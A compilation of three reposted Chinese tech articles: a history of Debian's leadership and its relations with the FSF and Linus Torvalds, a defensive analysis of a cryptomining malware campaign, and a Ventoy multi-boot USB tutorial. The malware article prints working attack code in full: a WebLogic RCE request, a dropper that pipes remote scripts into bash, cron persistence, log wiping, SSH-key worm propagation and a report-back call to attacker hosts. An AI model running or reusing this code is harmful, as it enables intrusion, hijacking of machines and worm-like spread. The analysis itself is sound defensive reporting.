成立之初,Murdock 发布了 Debian Linux 宣言为 Debian 注入了开源灵魂,他呼吁 Debian 是为了发扬 GNU 和 Linux 的自由精神而创建。然而,又不像 Linus 之于 Linux、Guido 之于 Python…… Ian Murdock 并没有牢牢地占据着 Debian 的中心,而是在两年后就卸任离开了。
他的继任者—— Bruce Perens 能量更不可小觑。
Bruce 出生时患有脑性瘫痪,小时候言语不清,还被误诊为发育障碍,学校甚至都没有教他阅读。但所有这一切都不妨碍他成为 OSI 联合创始人、开源运动发起者、“开源定义”创建者。
管他Linus还是RMS,Debian就是这么硬气
纪录片《操作系统革命》中的 Bruce Perens 还年轻
当时的 Bruce Perens 正忙于一个叫做“Linux for Hams”的 Linux 发行版 CD,正要收录 Debian 时,却发现 Debian 需要的帮助更多。1996年4月,Bruce 被 Ian Murdock 任命为 Debian 的第二位领导者。
“Bruce 接任我是一个自然而然的选择,他已经为基础系统工作了近一年时间,为 Debian 所花费的时间比我还要多。” 当时 Debian 还没有所谓的选举制度,Ian Murdock 这样解释他的选择。
事实证明,Murdock 的选择没错。
当时的开源社区普遍都处于起步阶段,比如当时在红帽工作的 Ean Schuessler 就曾抱怨红帽对于社区连个起码的约定都没有。Bruce Perens 在1997年6月初向 debian-private 邮件列表中的Debian 开发者提出了 Debian 社会契约草案。
“Debian 开发出来之后,Debian 除了遵循 copyleft 之外,也遵循着一些其他的自由许可证。所以当时的 Debian 在自由软件方面还存在一些问题,因为它没有向 Debian 之外去明确其自由软件的理念。” Bruce Perens 在后来的文章回忆说。
这个草案在 Debian 开发者内部经历了一个月的激烈讨论,最终协调修订成为 Debian 社会契约和 Debian 自由软件指导方针——也是著名的 OSD 的雏形。
管他Linus还是RMS,Debian就是这么硬气
除此之外,Bruce Perens 对于 Debian 的影响不止于此。Bruce 是个不折不扣的通才,他的领域不仅局限于计算机工程、法律等,还在动画制作公司 Pixar 工作了12年,参与了《虫虫特工队》和《玩具总动员2》两部经典之作。这就不难解释,为何 Debian 的版本号采用的是“玩具总动员”中的角色名了。
但是,Bruce Perens 依旧没能成为 Debian 的中心,他在任期间也受到了不少批评 —— 一些开发者认为他独裁,几乎掌管着所有事情,也控制着所有事情。
1997年12月,掌管 Debian 一年的 Bruce Perens 卸任,不到三个月就和 Eric Raymond 一起成立了 OSI,开始专门管理开放源代码活动及其认证标志,成为开源运动的领军人物。(有意思的是,Debian 创始人 Ian Murdock 也位列 OSI 最初的董事名单。)
而 Debian 也开始撰写 Debian 章程(Debian Constitution),避免权力集中于领导者一人身上。比如,Debian负责人可在特定的领域做出决定,但是须将之交付给另外的技术负责人;民主程序可以罢免项目负责人和推翻负责人的任何决定等等。
从此,Debian 的历届领导人几乎都遵循一年一换的节奏。在一些 Debian 开发者的眼里,Debian 负责人要做的就是开开会之类的,并把 Debian 介绍给共同体之外的世界。
当然,这样大程度地削减领导权威,也为 Debian 日后的一些问题埋下伏笔。
详情可查看:《Debian 向左:或将迎来根本性改革》

02、Debian 世界里没有“金主爸爸”

Debian 的个性不仅局限在内部,还表现在他们面对“金主”时的硬气。
Ian Murdock 建立 Debian 之前,几乎没有什么 Linux 系统可以选择,Debian 是个典型的先行者。因此,很快 Debian 就引起了 FSF (Free Software Foundation)的注意。1994年11月,Debian 得到了 FSF 的一笔资金支持。
管他Linus还是RMS,Debian就是这么硬气
要知道 FSF 可并不是什么好说话的主,他们严格遵循 GNU 哲学,对于自由软件的执着是出了名的。不出所料,FSF 就因为 Debian 系统中所存在的非自由软件库发了牢骚。在 FSF 看来,Debian 应该站在自由软件的阵营里,保持纯粹的自由软件属性。
Debian 会就此受制吗?完全不可能。
1996年,时任 Debian 负责人的 Bruce Perens 发了一封邮件:“在经过一段沟通不良的时期后,Debian 与 FSF 又恢复诚心的关系并开始协作,尽管如此 FSF 已经不再因其先前对 Debian 的赞助而拥有对 Debian 计划的控制权,而 Debian 也不会再要求恢复赞助。”
简而言之,就是 Debian 小组决心减少 FSF 的持续性赞助 —— 钱我们不要了。FSF 对Debian 的资助仅维持了一年。
至此,FSF 将其归入不被其认可的操作系统名单里,Debian 因此也成为了唯一在主库中没有任何非自由痕迹却不被 FSF 认可的 Linux 发行版:
Debian 的社群契约声明其目标是使 Debian 成为完全自由软件,并且 Debian 自觉地把非自由软件排除在其正式发布之外。然而,Debian 还是维护着非自由软件的软件库。根据其项目,这些软件“不是 Debian 系统的一部分”,但是该软件库由该项目的许多主要服务器托管,而且人们可以马上通过浏览 Debian 的在线软件包数据库和其 wiki 找到这些非自由软件。
它还有一个“contrib”软件库;其软件包是自由的,但是其中有些需要加载另外发布的专有软件。这也没完全和 Debian 主发行版分离。
为了解决钱的问题,Bruce Perens 1997年随即发起了“公共领域软件” (Software in the Public Interest, Inc,一般缩写为 SPI)。SPI 发起的初衷非常简单,就是为了 Debian 不受制于自由软件基金会,其后他们认为 SPI 也应该用余力去帮助更多项目,所以 SPI 又在往后的日子里支持了PostgreSQL、FFmpeg、Arch Linux、Jenkins 等优秀项目。
因此,Debian 不仅没有任何商业巨头入主,连有点意识形态的基金会也被他们排除在了金主之列,最大程度上获得经济独立性。在 Debian 里,没有任何的坐席可言,想要在技术上主导,按照社会协约和章程,公开透明地进行贡献,开发者们就可以按照自己的理解去进行开发。
这些特色使得 Debian 在众多的 GNU/Linux 的发行版本中独树一帜。
更有意思的是,Debian 与 FSF 的争吵并没有停止,直到2003年,Bruce Perens 都已经卸任好几年了,都还在两者之间劝架:Now,can we please see some work on this, rather than bickering? (感受到 Bruce 字里行间的无奈了吗?)

03、不欢迎 Linus

如果你就此认为 Debian 与 FSF 形如水火,那你就错了。事实上,Debian 的“硬气”并不是盲目地排斥,而是“有原则地”坚持,从 Debian 对 FSF 和 Linux 之父 Linus Torvalds 的态度上就能看出。
2020年9月,253 封发表于 2014 年的 Debian 项目内部讨论邮件在外网被泄露并引起了诸多关注。据这些邮件内容显示,彼时,Linus Torvalds 在 DebConf 会议上的言行引发了一些争议。 
一些人认为,Linus 在发言中将 FSF 描述成“dishonest(不诚实的)、immoral(不道德的)、lying(撒谎的)、bigoted(偏执的)”的这一行为,严重违反了社区行为准则,因此应当永久禁止他出席未来的会议。
邮件内容还提到,Debian 应该公开声明,以后不欢迎 Linus 参加 Debian 活动。
事实上,Linus 并不是第一次因为自己不当的言行引发争议,2018年 Linus 就因为在 Linux 维护者大会上的表现,导致他从 Linux 社区暂时休假,并公开为自己的言论道歉。
管他Linus还是RMS,Debian就是这么硬气
图片来源:https://zhuanlan.zhihu.com/p/46904088
而 Linus 的这些言论虽然没有针对 Debian,但是并不符合 Debian 曾在2014年制定下的一些行为准则,比如要有礼貌、善意推定、保持开放等。
既没有特别 GNU 也没有特别 Linux,立场坚定不谄媚,Debian 作为开源界的长老在各种争议中保持了风度。其实,这是由 Debian 的身份所决定。
Debian 并不单单是一种 Linux 发行版,而是一个大的系统组织框架,在这个框架下有多种不同操作系统内核的分支计划, 主要为采用 Linux 核心的 Debian GNU/Linux 系统,其他还有采用GNU Hurd 核心的 Debian GNU/Hurd 系统、采用 FreeBSD 核心的 Debian GNU/kFreeBSD 系统等。
此外,虽然 Debian 项目众多内核分支中以 Linux 宏内核为主,但是 Debian 开发者所创建的操作系统中绝大部分基础工具来自于 GNU 工程 ,因此 “Debian” 常指 Debian GNU/Linux。
至今,Debian 都是社区类 Linux 的典范,是迄今为止最遵循 GNU 规范的 Linux 系统。
管他Linus还是RMS,Debian就是这么硬气
值得玩味的是,尽管 FSF 把 Debian 挂在了不被认可的系统名单之列,但 Debian 还是在自家首页的醒目位置上放置了“自由软件基金会声明”。在这一点上,我们可能只看到了第二层,以为 Debian 在第一层,其实 Debian 在第五层。
Debian 为何能在大气层?且听下回分解。

— EOF —

转自:https://mp.weixin.qq.com/s/xYRNa1KQU75VytNOi48jYQ

凶残的挖矿脚本,奴役我数千机器!

温馨提示:本文中出现的命令和脚本,不要在自家服务器上随便运行,除非你知道自己在做什么。

挖矿是把机器当作奴隶,一刻不停歇的去计算、运转,本质上是个无用的工作。但可惜的是,它能赚钱。用别人的机器去赚钱,更是很多人梦寐以求的,所以挖矿脚本屡禁不止。

有钱的地方,就有技术。但反过来并不一定成立。

牢记这个准则,就能够心平气和的学习新技术,而不是气急败坏的纠结为啥没钱。

1. 脚本从哪来?

下面是一个http的报文。

GET /console/images/%2E%2E%2Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec(new String[]{'/bin/sh','-c','export src=logic;curl -fsSL t.bb3u9.com/ln/core.png?logic|bash'});"); HTTP/1.1

Host: 20*.10*.8*.1*9:7001 #已脱敏

User-Agent: curl/7.55.1

Accept: */*

Content-Type:application/x-www-form-urlencoded; charset=utf-8

很简单,waf防火墙拦截到相关包,一眼看上去就不正常。从关键字com.tangosol.coherence.mvel2.sh.ShellSession可以得知,这个请求,是想要利用Weblogic的远程代码执行漏洞。

这样的漏洞有很多很多,数不胜数,比如它可以通过redis进入。我们不必关注这些漏洞,默认它已经利用成功了。我们只看挖矿脚本是怎么部署到你的机器上的。

在java中,当然要调用它的Runtime类库,如果你的应用程序是运行在root用户的,那它什么事情都能干。

这就是为什么要求你线上部署的应用,都用权限低一点的账户,比如xjjdog去运行,而不是不要命的把root账户给开放。

exec函数带了三个参数。

  • /bin/sh 意味着它要执行一个shell脚本
  • -c 指明了要执行的命令
  • export src=logic;curl -fsSL t.bb3u9.com/ln/core.png?logic|bash 首先输出了一个全局环境变量,然后下载一个png文件

狡猾的人都喜欢带面具,而狡猾的脚本都喜欢改后缀。看起来是个png,但它是个脚本。

2. 脚本怎么安装的?

接下来摘下它的伪装,看一下它的真面目。

curl http://t.bb3u9.com/ln/core.png?logic > core.png 

查看core.png文件中的内容。不错,很长一段脚本。

#/bin/bash
setenforce 0 2>/dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 >/proc/sys/vm/drop_caches
murl1="http://t.bb3u9.com/ln/a.asp"
murl2="http://t.jdjdcjq.top/ln/a.asp"
cdate=$(date "+%Y%m%d")
guid=`echo $(sudo dmidecode -t 4 | grep ID | sed 's/.*ID://;s/ //g') $(ifconfig | grep -oP 'HWaddr K.*'|sed 's/://g')|sha256sum|awk '{print $1}'`
cmd1="export gurl=$murl1?${src}_${cdate};(curl -fsSL $gurl*`whoami`*`hostname`*${guid}||wget -q -O- $gurl*`whoami`*`hostname`*${guid})|bash"
cmd2="export gurl=$murl2?${src}_${cdate};(curl -fsSL $gurl*`whoami`*`hostname`*${guid}||wget -q -O- $gurl*`whoami`*`hostname`*${guid})|bash"
echo "">/var/spool/cron/root
echo "">/var/spool/cron/crontabs/root
if [ "`whoami`" ==  "root" ];then
    cronpath=/etc/crontab
    Xpath=/.Xl1
else
    cronpath=/var/spool/cron/`whoami`
    Xpath=~/.Xl1
fi
if [ ! -d "$Xpath" ];then
        mkdir $Xpath
        echo "$[$RANDOM%60] * * * * root $cmd1" >> $cronpath
        echo "$[$RANDOM%60] * * * * root $cmd2" >> $cronpath
        uname -a|grep x86_64 && echo "$[$RANDOM%60] * * * * root ps aux|grep p.b69kq.com |grep -v grep || $Xpath -o p.b69kq.com:444 --opencl --donate-level=1 --nicehash -B --http-host=0.0.0.0 --http-port=65529 --opencl --cuda" >> /etc/crontab
        export gurl=$murl1?${src}_${cdate};(curl -fsSL $gurl*`whoami`*`hostname`*${guid}||wget -q -O- $gurl*`whoami`*`hostname`*${guid})|bash
    export gurl=$murl2?${src}_${cdate};(curl -fsSL $gurl*`whoami`*`hostname`*${guid}||wget -q -O- $gurl*`whoami`*`hostname`*${guid})|bash
fi

echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure

按照常规,我们来一行行拆解它。

1)关掉selinux。setenforce 0是关闭的意思,2表示stderr,出错了不提示。接下来会通过写配置文件的方式,永久性的禁止selinux。

setenforce 0 2>/dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null

2)很良心的帮助清理一下系统内存

sync && echo 3 >/proc/sys/vm/drop_caches

3)构造guid,对机器进行标识

guid=`echo $(sudo dmidecode -t 4 | grep ID | sed 's/.*ID://;s/ //g') $(ifconfig | grep -oP 'HWaddr K.*'|sed 's/://g')|sha256sum|awk '{print $1}'`

dmidecode命令,可以获取linux硬件相关的信息,会输出非常多的内容。-t 4表示只获取Process方面的内容。然后过滤一下ID信息,使用sed命令截取并去掉空格。

ID: 57 06 05 00 FF FB 8B 0F

会变成。

57060500FFFB8B0F

然后使用ifcongig命令获取网卡硬件MAC信息。做同样的处理后获得另外一个串。这段脚本写的稍微有点问题,因为ifconfig的输出经常会改格式,但不影响计算hash。

sha256sum就是算出这样一个hash,然后赋值给guid。比如下面这个。

786e5dcff31795d7b6b24cdf4f114867f423315de9bd4a879b57478ad99e2c5c

4)安装定时任务到crontab中

脚本选择了/.Xl1目录作为真正的挖矿程序的存储目录。注意这三个字母,后面是l和1,并不是X桌面的配置目录。在真正的脚本部分,我们可以看到下载的程序包地址是d.u78wjdu.com/ln/xr.zip

5)我们再来看一下下载的链接是什么样子的

cmd1="export gurl=$murl1?${src}_${cdate};(curl -fsSL $gurl*`whoami`*`hostname`*${guid}||wget -q -O- $gurl*`whoami`*`hostname`*${guid})|bash"
cmd2="export gurl=$murl2?${src}_${cdate};(curl -fsSL $gurl*`whoami`*`hostname`*${guid}||wget -q -O- $gurl*`whoami`*`hostname`*${guid})|bash"

其中,src变量是在一开始就设置的,我们依次来还原一下。

export src=logic
cdate=$(date "+%Y%m%d")
guid=`echo $(sudo dmidecode -t 4 | grep ID | sed 's/.*ID://;s/ //g') $(ifconfig | grep -oP 'HWaddr K.*'|sed 's/://g')|sha256sum|awk '{print $1}'`
gurl=$murl1?${src}_${cdate}

最终会拼成下面的字符串,可以说该有的信息都有了,能够区分出到底是哪一台机器了。

url?_20210722*root*host_iZ2ze5w0d1f4lplj3yuflcZ*786e5dcff31795d7b6b24cdf4f114867f423315de9bd4a879b57478ad99e2c5c

3. 真正的脚本是什么?

$RANDOM环境变量,是个神奇的环境变量。直接输出的话,将会得到一个随机值。cron脚本周期性的拉取最新的脚本执行,把真正的挖矿程序部署起来。

关于真实脚本的介绍,xjjdog在另外一篇文章中有详细的介绍。在这个场景下,最新的脚本就是http://t.bb3u9.com/ln/a.asp,依然是改后缀的障眼法。

这个脚本显然比上面这篇文章介绍的要更加高级一些。脚本很长很长,就不贴了,你可以自己下载。它的主要意图,是下载一个叫做xr的程序,然后在马甲目录.Xl1中运行。xr程序才是挖矿的主要程序,其他的脚本,都是辅助它来运行的。下面是最主要的运行逻辑。

if [ ! -d "$Xpath" ];then
        mkdir $Xpath
fi
cd $Xpath
if [ ! -f "./xr" ];then
        uname -a|grep x86_64 && (curl -fsSL d.u78wjdu.com/ln/xr.zip||wget -q -O- d.u78wjdu.com/ln/xr.zip)>xr.zip && tar xf xr.zip && rm xr.zip
fi
uname -a|grep x86_64 && ps aux|grep p.b69kq.com |grep -v grep || ./xr -o p.b69kq.com:444 --opencl --donate-level=1 --nicehash -B --http-host=0.0.0.0 --http-port=65529 --opencl --cuda

要保证脚本的安全,怎么能少得了chattr命令。很多人遇见加了i参数的文件,不能被删除,就傻眼了。其实是可以通过-i参数去掉这个属性的。

chattr -iua /tmp/
chattr -iua /var/tmp/
chattr -R -i /var/spool/cron
chattr -i /etc/crontab

脚本还会通过nc命令,拷贝rsa公钥到你的每个用户目录下面,把你做成事实上的肉鸡,实现免密登录。关于nc这把瑞士军刀,我们也有过介绍。

for file in /home/*
do
    if test -d $filethen
        if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
            for h in $(grep -oE "b([0-9]{1,3}.){3}[0-9]{1,3}b" $file/.ssh/known_hosts); do echo exit |nc -w 1 -n -v $h 65529 && ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`||wget -q -O- http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`)|bash >/dev/null 2>&1 &' & done
        fi
    fi
done

这份脚本,还会病毒式的传播。localgo函数,通过从你的ps进程,history文件,还有hosts配置,拿到用户列表、主机列表端口、rsa密钥等,就可以批量的去尝试登录并传播这份脚本。当然,上面的xr程序会监听65529的端口,如果判断主机已经中招了,就不再继续探测。

能用65529这个端口,本身就够骚气的了,有几台机器能够达到上限65535呢?

localgo() {
  i=0
  for user in $userlistdo
    for host in $hostlistdo
      for key in $keylistdo
        for sshp in $sshportsdo
          i=$((i+1))
          if [ "${i}" -eq "20" ]; then
            sleep 20
            ps wx | grep "ssh -o" | awk '{print $1}' | xargs kill -9 &>/dev/null &
            i=0
          fi
          #Wait 20 seconds after every 20 attempts and clean up hanging processes
          chmod +r $key
          chmod 400 $key
          echo "$user@$host $key $sshp"
          echo exit |nc -w 1 -n -v $host 65529 &&  ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host -p$sshp "export src=sshcopy;(curl -fsSL http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`||wget -q -O- http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`)|bash >/dev/null 2>&1 &"
        done
      done
    done
  done
}

最后,脚本还不忘汇报一下,形成完美的闭环。

reurl=http://t.bb3u9.com/ln/report.asp?*`whoami`*`hostname`*${guid}*${isdocker}*${pyver}*${isxrfile}*${hashrate}*${mip}
(curl -fsSL $reurl||wget -q -O- $reurl)|bash

4. End

如果你发现你的机器不明原因发热,务必排查一下有没有挖矿程序。虽然你的服务器摆在那里也没什么用,但用着你的电费,收益却给别人,相信你一定会嫉妒的要命。那么别犹豫,kill -9送给它,别忘了清理cron。

重装是我们的秘密武器,仅次于重启。嫌麻烦的话,就这么干吧!

– EOF –

转自:https://mp.weixin.qq.com/s/oo5z7XqPBp9ZdNx8qsYkaA

神器:在一个 U 盘上放入多个 Linux 发行版

用 Ventoy 创建多启动 U 盘,你将永远不会缺少自己喜欢的 Linux 发行版。

给朋友和邻居一个可启动 U 盘,里面包含你最喜欢的 Linux 发行版,是向 Linux 新手介绍我们都喜欢的 Linux 体验的好方法。仍然有许多人从未听说过 Linux,把你喜欢的发行版放在一个可启动的 U 盘上是让他们进入 Linux 世界的好办法。

几年前,我在给一群中学生教授计算机入门课。我们使用旧笔记本电脑,我向学生们介绍了 Fedora、Ubuntu 和 Pop!_OS。下课后,我给每个学生一份他们喜欢的发行版的副本,让他们带回家安装在自己选择的电脑上。他们渴望在家里尝试他们的新技能。

把多个发行版放在一个驱动器上

最近,一个朋友向我介绍了 Ventoy,它(根据其 GitHub 仓库)是 “一个开源工具,可以为 ISO/WIM/IMG/VHD(x)/EFI 文件创建可启动的 USB 驱动器”。与其为每个我想分享的 Linux 发行版创建单独的驱动器,我可以在一个 U 盘上放入我喜欢的 所有 Linux 发行版!

神器:在一个 U 盘上放入多个 Linux 发行版
USB 空间

正如你所能想到的那样,U 盘的大小决定了你能在上面容纳多少个发行版。在一个 16GB 的 U 盘上,我放置了 Elementary 5.1、Linux Mint Cinnamon 5.1 和 Linux Mint XFCE 5.1……但仍然有 9.9GB 的空间。

获取 Ventoy

Ventoy 是开源的,采用 GPLv3 许可证,可用于 Windows 和 Linux。有很好的文档介绍了如何在 Windows 上下载和安装 Ventoy。Linux 的安装是通过命令行进行的,所以如果你不熟悉这个过程,可能会有点混乱。然而,其实很容易。

首先,下载 Ventoy。我把存档文件下载到我的桌面上。

接下来,使用 tar 命令解压 ventoy-x.y.z-linux.tar.gz 档案(但要用你下载的版本号替换 x.y.z)(为了保持简单,我在命令中使用 * 字符作为任意通配符):

 
nbsp;tar -xvf ventoy*z

这个命令将所有必要的文件提取到我桌面上一个名为 ventoy-x.y.z 的文件夹中。

你也可以使用你的 Linux 发行版的存档管理器来完成同样的任务。下载和提取完成后,你就可以把 Ventoy 安装到你的 U 盘上了。

在 U 盘上安装 Ventoy 和 Linux

把你的 U 盘插入你的电脑。改变目录进入 Ventoy 的文件夹,并寻找一个名为 Ventoy2Disk.sh 的 shell 脚本。你需要确定你的 U 盘的正确挂载点,以便这个脚本能够正常工作。你可以通过在命令行上发出 mount 命令或者使用 GNOME 磁盘 来找到它,后者提供了一个图形界面。后者显示我的 U 盘被挂载在 /dev/sda。在你的电脑上,这个位置可能是 /dev/sdb/dev/sdc 或类似的位置。

神器:在一个 U 盘上放入多个 Linux 发行版

 

GNOME 磁盘中的 USB 挂载点

下一步是执行 Ventoy shell 脚本。因为它被设计成不加选择地复制数据到一个驱动器上,我使用了一个假的位置(/dev/sdX)来防止你复制/粘贴错误,所以用你想覆盖的实际驱动器的字母替换后面的 X

让我重申:这个 shell 脚本的目的是把数据复制到一个驱动器上, 破坏该驱动器上的所有数据。 如果该驱动器上有你关心的数据,在尝试这个方法之前,先把它备份! 如果你不确定你的驱动器的位置,在你继续进行之前,请验证它,直到你完全确定为止。

一旦你确定了你的驱动器的位置,就运行这个脚本:

 
nbsp;sudo sh Ventoy2Disk.sh -i /dev/sdX

这样就可以格式化它并将 Ventoy 安装到你的 U 盘上。现在你可以复制和粘贴所有适合放在 U 盘上的 Linux 发行版文件。如果你在电脑上用新创建的 U 盘引导,你会看到一个菜单,上面有你复制到 U 盘上的发行版。

神器:在一个 U 盘上放入多个 Linux 发行版

 

Ventoy中的Linux发行版

构建一个便携式的动力源

Ventoy 是你在钥匙串上携带多启动 U 盘的关键(钥匙),这样你就永远不会缺少你所依赖的发行版。你可以拥有一个全功能的桌面、一个轻量级的发行版、一个纯控制台的维护工具,以及其他你想要的东西。

我从来没有在没有 Linux 发行版的情况下离开家,你也不应该。拿上 Ventoy、一个 U 盘,和一串 ISO。你不会后悔的。

 

– EOF –

转自:https://mp.weixin.qq.com/s/4r5kfw3o_paCzWt2BHNAjw